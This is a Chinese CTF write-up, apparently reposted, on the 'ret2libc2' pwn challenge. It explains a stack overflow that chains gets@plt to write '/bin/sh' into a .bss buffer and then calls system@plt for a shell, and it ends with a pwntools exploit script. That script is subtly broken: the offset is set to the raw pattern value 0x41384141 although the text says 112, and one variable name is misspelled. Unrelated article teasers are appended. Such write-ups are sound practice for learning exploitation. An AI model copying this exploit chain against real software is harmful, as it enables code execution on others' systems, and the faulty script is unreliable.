当前位置: 首页 > news >正文

【PWN · ret2libc】ret2libc2

ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?


目录

前言

python3 ELF 查看文件信息

strings 查看寻找"/bin/sh"

IDA反汇编分析 

思路及实现 

老规矩,偏移量 offset

EXP编写  

总结


前言

经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?

其实很简单:没有我们就自己输入。


因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。

python3 ELF 查看文件信息

好的,重要的信息都有了 


strings 查看寻找"/bin/sh"

说明没有这个字符串,恼 

那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?


IDA反汇编分析 

bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。

别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!! 


思路及实现 

根据基本ret2libc的思想,我们把溢出栈内容如下构造:

这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1 

简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。

这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell


老规矩,偏移量 offset

gdb:peda下,pattern create 300 

然后pattern offset addr 

 

 偏移量112


EXP编写  

from pwn import *io=process("./ret2libc2")offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

成功获得自己的shell 


总结

从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。

相关文章:

【PWN · ret2libc】ret2libc2

ret2libc1的略微进阶——存在systemplt但是不存在“/bin/sh”怎么办? 目录 前言 python3 ELF 查看文件信息 strings 查看寻找"/bin/sh" IDA反汇编分析 思路及实现 老规矩,偏移量 offset EXP编写 总结 前言 经过ret2libc1的洗礼&a…...

深度学习01-tensorflow开发环境搭建

文章目录 简介运行硬件cuda和cuddntensorflow安装。tensorflow版本安装Anaconda创建python环境安装tensorflow-gpupycharm配置配置conda环境配置juypternotebook 安装cuda安装cudnn安装blas 云服务器运行云服务器选择pycharm配置代码自动同步远程interpreter 简介 TensorFlow是…...

linux相关操作

1 系统调用 通过strace直接看程序运行过程中的系统调用情况 其中每一行为一个systemcall ,调用write系统调用将内容最终输出。 无论什么编程语言都必须通过系统调用向内核发起请求。 sar查看进程分别在用户模式和内核模式下的运行时间占比情况, ALL显…...

PMP项目管理-[第十章]沟通管理

沟通管理知识体系: 规划沟通管理: 10.1 沟通维度划分 10.2 核心概念 定义:通过沟通活动(如会议和演讲),或以工件的方式(如电子邮件、社交媒体、项目报告或项目文档)等各种可能的方式来发送或接受消息 在项目沟通中,需要…...

13个UI设计软件,一次满足你的UI设计需求

UI设计师的角色是当今互联网时代非常重要的一部分。许多计算机和移动软件都需要UI设计师的参与,这个过程复杂而乏味。这里将与您分享13个UI设计软件,希望帮助您正确选择UI设计软件,节省工作量,创建更多优秀的UI设计作品。 1.即时…...

sentinel介绍

介绍 官网地址 Sentinel 和 Hystrix 的原则是一致的: 当调用链路中某个资源出现不稳定,例如,表现为 timeout,异常比例升高的时候,则对这个资源的调用进行限制,并让请求快速失败,避免影响到其它的资源&…...

手把手教你怎么搭建自己的ChatGPT和Midjourney绘图(含源码)

AI程序采用NUXT3LARAVEL9开发(目前版本V1.1.7) 授权方式:三个顶级域名两次更换 1.AI智能对话-对接官方和官方反代(markdown输出)PS:采用百度与自用库检测文字 2.AI绘图-根据关键词绘图-增加dreamStudio绘画-增加mid…...

继承多态经典笔试题

注:visual studio复制当前行粘贴到下一行: CTRLD 杂项 调用子类重写的虚函数(带默认参数),但参数用的是基类的虚函数中的默认参数: 这是由于参数是在编译时压入 试题一 交换两个基类指针指向的对象的vf…...

如何使用Typeface-Helper-自定义字体

随着科技的不断发展,人们对于视觉效果的要求也越来越高。在设计领域中,字体设计是非常重要的一环,因为它直接影响了整个设计的风格和品质。因此,越来越多的设计师开始寻找能够帮助他们自定义字体的工具。在这个过程中,…...

SubMain CodeIt.Right 2022.2 Crack

CodeIt.Right,从源头上提高产品质量,在编写代码时获取有关问题的实时反馈,支持最佳实践和合规性,自动执行代码审查,轻松避免与您的群组无关的通知,一目了然地了解代码库的运行状况 自动执行代码审查 使用自…...

文艺复兴的核心是“以人为本”:圣母百花大教堂(Duomo)

文章目录 引言I 圣母百花大教堂的建筑技术故事1.1 布鲁内莱斯基1.2 表现三维立体的透视画法II 美第奇家族的贡献2.1 科西莫德美第奇2.2 洛伦佐美第奇III 历史中的偶然性与必然性。3.1 文艺复兴的诞生其实是必然的事情3.2 文艺复兴的偶然性引言 从科技的视角再次理解文艺复兴,…...

校招失败后,在小公司熬了 2 年终于进了百度,竭尽全力....

其实两年前校招的时候就往百度投了一次简历,结果很明显凉了,随后这个理想就被暂时放下了,但是这个种子一直埋在心里这两年除了工作以外,也会坚持写博客,也因此结识了很多优秀的小伙伴,从他们身上学到了特别…...

【C++学习】函数模板

模板的概念 模板就是建立通用的模具,大大提高复用性。 模板的特点: 模板不可以直接使用,它只是一个模型 模板的通用不是万能的 基本语法 C中提供两种模板机制:函数模板和类模板 函数模板作用: 建立一个通用函数&…...

1960-2014年各国二氧化碳排放量(人均公吨数)

1960-2014年各国二氧化碳排放量(人均公吨数)(世界发展指标, 2019年12月更新) 1、来源:世界发展指标 2、时间:1960-2014年 3、范围:世界各国 4、指标: 二氧…...

【java-04】深入浅出多态、内部类、常用API

主要内容 多态 内部类 常用API 1 多态 1.1 面向对象三大特征 ? 封装 , 继承 , 多态 1.2 什么是多态 ? 一个对象在不同时刻体现出来的不同形态 举例 : 一只猫对象 我们可以说猫就是猫 : Cat cat new Cat();我们也可以说猫是动物 : Animal cat new Cat();这里对象在不…...

【逐函数详细讲解ORB_SLAM2算法和C++代码|Viewer|1-26】

Viewer类的主要目的是实现ORB-SLAM2算法的可视化部分,帮助用户更好地理解算法的运行过程和结果。为此,Viewer类与其他类(如System、FrameDrawer、MapDrawer和Tracking)协同工作,根据摄像机的帧率实时更新可视化界面。 在Viewer类中,有一些成员变量和成员函数。 成员变量…...

【C语言】测试2 C程序设计初步

以下能正确定义整型变量 a,b 和 c,并对它们赋初值为5的语句是( )。 A. int a=b=c=5; B. int a, b, c=5; C. int a=5, b=5, c=5; D. a=b=c=5; 正确答案: C 当输入数据的形式为:25,13,10<回车 >时,以下程序的输出结果为( )。 main() {int x,y,z; scanf(“ %…...

SpringBoot3 integrate SpringDoc

SpringDoc 官方文档 Springdoc3取代swagger2 pom xml加载Springdoc JarOpenAPIDefinition&#xff0c;声明一个OpenAPI对API进行分组&#xff0c;方便查询访问地址springdoc ConfigurationRequestMapping pom xml加载Springdoc Jar <dependency><groupId>org.sprin…...

一文解决Xshell无法连接vmware上的centos

问题描述 win10系统上安装VMware workstation16 pro&#xff0c;装好后安装centos虚拟机&#xff0c;在设置network & hostname时选择的NAT模式&#xff0c;即使用自定义的网关和IPv4地址&#xff0c;最后配置完成后centos主机地址信息如下&#xff0c;在虚拟机内部进行pi…...

ATTCK v13版本战术介绍——防御规避(五)

一、引言 在前几期文章中我们介绍了ATT&CK中侦察、资源开发、初始访问、执行、持久化、提权战术理论知识及实战研究、部分防御规避战术&#xff0c;本期我们为大家介绍ATT&CK 14项战术中防御规避战术第25-30种子技术&#xff0c;后续会介绍防御规避其他子技术&#xf…...

Qwen3-14B私有部署案例:电商客服话术生成与情感倾向优化实践

Qwen3-14B私有部署案例&#xff1a;电商客服话术生成与情感倾向优化实践 1. 项目背景与需求分析 电商客服每天需要处理大量重复性问题&#xff0c;传统人工回复效率低下且难以保证一致性。我们基于Qwen3-14B模型构建了智能客服话术生成系统&#xff0c;主要解决以下痛点&…...

SDMatte+在影视后期应用:绿幕替代方案探索、道具透明化处理与VFX资产快速提取

SDMatte在影视后期应用&#xff1a;绿幕替代方案探索、道具透明化处理与VFX资产快速提取 1. 影视后期中的抠图挑战 在影视后期制作中&#xff0c;高质量的抠图技术是视觉特效(VFX)的基础。传统绿幕拍摄虽然成熟&#xff0c;但存在诸多限制&#xff1a; 需要专门的拍摄场地和…...

OpenClaw跨平台同步:Qwen3.5-9B维护多设备代码仓库

OpenClaw跨平台同步&#xff1a;Qwen3.5-9B维护多设备代码仓库 1. 多设备开发的痛点与解决方案 作为一名自由职业开发者&#xff0c;我经常需要在不同设备间切换工作——家里的台式机、咖啡馆的笔记本、客户现场的平板。最让我头疼的是代码版本管理&#xff1a;在A设备修改的…...

自动驾驶商业化落地:商业模式与法规体系双轮驱动

目录 一、自动驾驶分级与商业逻辑差异 二、商业模式&#xff1a;不同等级的盈利路径 1. L3 乘用车&#xff1a;成本与合规的平衡 2. L4 运营场景&#xff1a;替代人力的正向现金流 3. L5&#xff1a;社会价值驱动&#xff0c;商业仍待探索 三、法规核心难点&#xff1a;责…...

OpenClaw+Phi-3-vision-128k-instruct安全方案:敏感数据本地化处理指南

OpenClawPhi-3-vision-128k-instruct安全方案&#xff1a;敏感数据本地化处理指南 1. 为什么需要本地化处理敏感数据&#xff1f; 上周我帮一位做财务咨询的朋友处理季度报表时&#xff0c;他提到一个痛点&#xff1a;每次用云端AI工具分析客户财务数据都提心吊胆。这让我意识…...

3步搞定飞书文档批量导出:告别手动复制粘贴的终极解决方案

3步搞定飞书文档批量导出&#xff1a;告别手动复制粘贴的终极解决方案 【免费下载链接】feishu-doc-export 飞书文档导出服务 项目地址: https://gitcode.com/gh_mirrors/fe/feishu-doc-export 还在为飞书文档的迁移备份而烦恼吗&#xff1f;每次需要导出几十上百个文档…...

OpenClaw技能开发入门:为千问3.5-9B编写自定义文件处理器

OpenClaw技能开发入门&#xff1a;为千问3.5-9B编写自定义文件处理器 1. 为什么需要自定义文件处理器 上周我在整理项目文档时&#xff0c;发现一个重复性痛点&#xff1a;每次收到同事发来的Markdown文件&#xff0c;都需要手动执行"格式校验→重命名→按日期归档→生成…...

【OpenClaw 安全部署与使用指南:从零构建可信赖的 AI 助手】

OpenClaw 安全部署与使用指南&#xff1a;从零构建可信赖的 AI 助手OpenClaw 作为一款具备"眼和手"的开源 AI Agent 框架&#xff0c;能够读写文件、执行命令、调用工具、访问网络——这些强大的能力在带来便利的同时&#xff0c;也意味着潜在的安全风险。如果部署和…...

第 1 章 Python 基础 知识点精讲

1.1 在交互式环境中输入表达式核心知识点Python 提供两种运行代码的方式&#xff1a;交互式环境&#xff08;IDLE / 终端&#xff09; 和 脚本文件&#xff08;.py&#xff09;。交互式环境&#xff1a;输入一行代码立即执行&#xff0c;适合快速测试、调试、学习语法启动方式&…...

2026年AI风口已至!月薪3万+岗位盘点+零基础转行指南,速收藏!

本文详细介绍了2026年转行AI的优势与机遇&#xff0c;指出行业人才缺口巨大且薪资水平高。文章全面梳理了AI行业的各类岗位&#xff0c;并针对技术、产品、运营、培训等不同转行路径&#xff0c;提供了分阶段的学习指南和推荐资源。此外&#xff0c;还针对应届毕业生、传统行业…...